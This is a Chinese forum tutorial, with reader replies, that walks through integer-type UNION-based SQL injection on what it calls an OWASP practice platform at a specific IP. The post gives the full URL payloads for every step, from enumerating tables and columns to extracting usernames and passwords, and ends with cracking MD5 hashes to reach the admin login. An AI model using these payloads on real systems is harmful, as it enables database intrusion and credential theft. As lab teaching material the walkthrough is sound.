首页
社区
课程
招聘
[原创]SQL注入获取用户名密码过程-integer型注入
发表于: 2019-8-7 15:47 6886

[原创]SQL注入获取用户名密码过程-integer型注入

2019-8-7 15:47
6886

这个也是OWASP放出来的一个web安全学习平台,PHP+MySQL,主要有SQL注入练习及简单绕过

地址:http://43.247.91.228:83/

1、找测试注入点

http://43.247.91.228:83/content-1/index.php?id=0

2、测试加 ' 号,页面返回错误(可能存在注入点)

3、确认是否存在注入点

http://43.247.91.228:83/content-1/index.php?id=0 and 1=1 页面返回正常

http://43.247.91.228:83/content-1/index.php?id=0 and 1=2 页面返回错误

证明存在注入点

4、查询当前表有多少列,用order by测试,切换数字,直到不出错为止,测试结果为

http://43.247.91.228:83/content-1/index.php?id=0  order by 8

5、测试哪列数据有回显(1,2,3列都可以显示)

http://43.247.91.228:83/content-1/index.php?id=0 and 1=2 union select 1,2,3,4,5,6,7,8

5、查询数据库相关信息

查询当前用户权限 http://43.247.91.228:83/content-1/index.php?id=0 and 1=2 union select 1,user(),3,4,5,6,7,8

查询当前数据库版本 http://43.247.91.228:83/content-1/index.php?id=0 and 1=2 union select 1,version(),3,4,5,6,7,8

注:这里根据数据库版本可以选择应对策略

查询当前数据库名称  http://43.247.91.228:83/content-1/index.php?id=0 and 1=2 union select 1,database(),3,4,5,6,7,8

6、查询inject数据库里的表名(将表名'inject'进行ANSI编码结果为%27%69%6E%6A%65%63%74%27)测试结果表名为users


http://43.247.91.228:83/content-1/index.php?id=0 and 1=2 union select 1,table_name,3,4,5,6,7,8 from information_schema.tables where table_schema = %27%69%6E%6A%65%63%74%27


注:这里可以使用 limit a,1 测试有多少个表,a表示表里的第几行(这里测试只有一个users表),mysql数据库自带一个information_schema数据库,这个数据库里包含其他数据库的表名和字段名,可以根据这个查询当前数据库的表名

http://43.247.91.228:83/content-1/index.php?id=0 and 1=2 union select 1,table_name,3,4,5,6,7,8 from information_schema.tables where table_schema = %27%69%6E%6A%65%63%74%27 limit 0,1 --

7、查询users表里的字段名(将表名'users'进行ANSI编码结果为%27%75%73%65%72%73%27)

users表的字段名分别为 idusers,name,email,password,ua,ref,host,lang

注:这里使用limit a,1 测试有多少个字段,变化a的值0,1,2....7,网址最后要加上注释符  --

http://43.247.91.228:83/content-1/index.php?id=0 and 1=2 union select 1,column_name,3 ,4,5,6,7,8 from information_schema.columns where table_name = %27%75%73%65%72%73%27 limit 0,1--

8、查询字段里的内容

在这里已经知道当前数据库是inject,有users表,表里有 idusers,name,email,password,ua,ref,host,lang 8个字段,这时可以使用,1,2,3来显示需要查看的字段内容,这里演示,name,password,host

http://43.247.91.228:83/content-1/index.php?id=0 and 1=2 union select name, password,host,4,5,6,7,8 from users limit 0,1--

注:这里使用limit a,1 测试有多少个字段,变化a的值0,1,2....直到出错为止,就可以遍历出所有用户,网址最后要加上注释符  --

这里是密码是明码的用户

这里是密码是hash值的用户,登录MD5网站解密即可

解密结果

9、到这里找寻用户名,密码已经结束,找寻后台登录即可





[课程]Android-CTF解题方法汇总!

最后于 2019-8-7 15:51 被CCMts编辑 ,原因: 补充说明
收藏
免费 0
支持
分享
最新回复 (11)
雪    币: 1107
活跃值: (493)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
不错不错 很详细  
2019-8-7 16:47
0
雪    币: 310
活跃值: (2227)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
mark
2019-8-8 14:18
0
雪    币: 219
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
4
大佬,我想学渗透,可以带带我吗?
2019-8-13 17:03
0
雪    币: 219
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
5
2019-8-16 21:22
0
雪    币: 3935
活跃值: (187)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
sqlmap 直接搞起来~~
2019-8-16 21:33
0
雪    币: 122
活跃值: (360)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
写的很仔细 
2019-8-21 19:06
0
雪    币: 2359
活跃值: (288)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
非常好的文章
2019-8-24 09:16
0
雪    币: 1634
活跃值: (480)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
不错的文章,支持一下
2020-10-12 12:58
0
雪    币: 310
活跃值: (2227)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
mark,感谢分享
2020-10-12 14:26
0
雪    币: 2081
活跃值: (1711)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
先==,
select * from user where idusers=0 and 1=2 union select 1,2,3,4,5,6,7,8
你这里的   0 and 1=2 union select 1,2,3,4,5,6,7,8  为什么会存在 ?
这个是怎么输入进去的 ?
原始的sql是什么样的?

正常情况下,sql语句,查询人员使用登陆名
select Id,LoginPwd, LoginSalt from tb_user where loginName = @loginName
变量 @loginName = 前端传入值
什么时候允许使用 Id 进行传入的 ? 这么敏感的东西不是不允许使用的吗 ?
即使使用了, 那么也该是一个字符串 ,即
select * from user where idusers=“0 and 1=2 union select 1,2,3,4,5,6,7,8”
而不存 select * from user where idusers=0 and 1=2 union select 1,2,3,4,5,6,7,8。
如果能存在, 那么, 你不是直接可以访问数据库了 ?
2022-9-5 09:43
0
游客
登录 | 注册 方可回帖
返回
//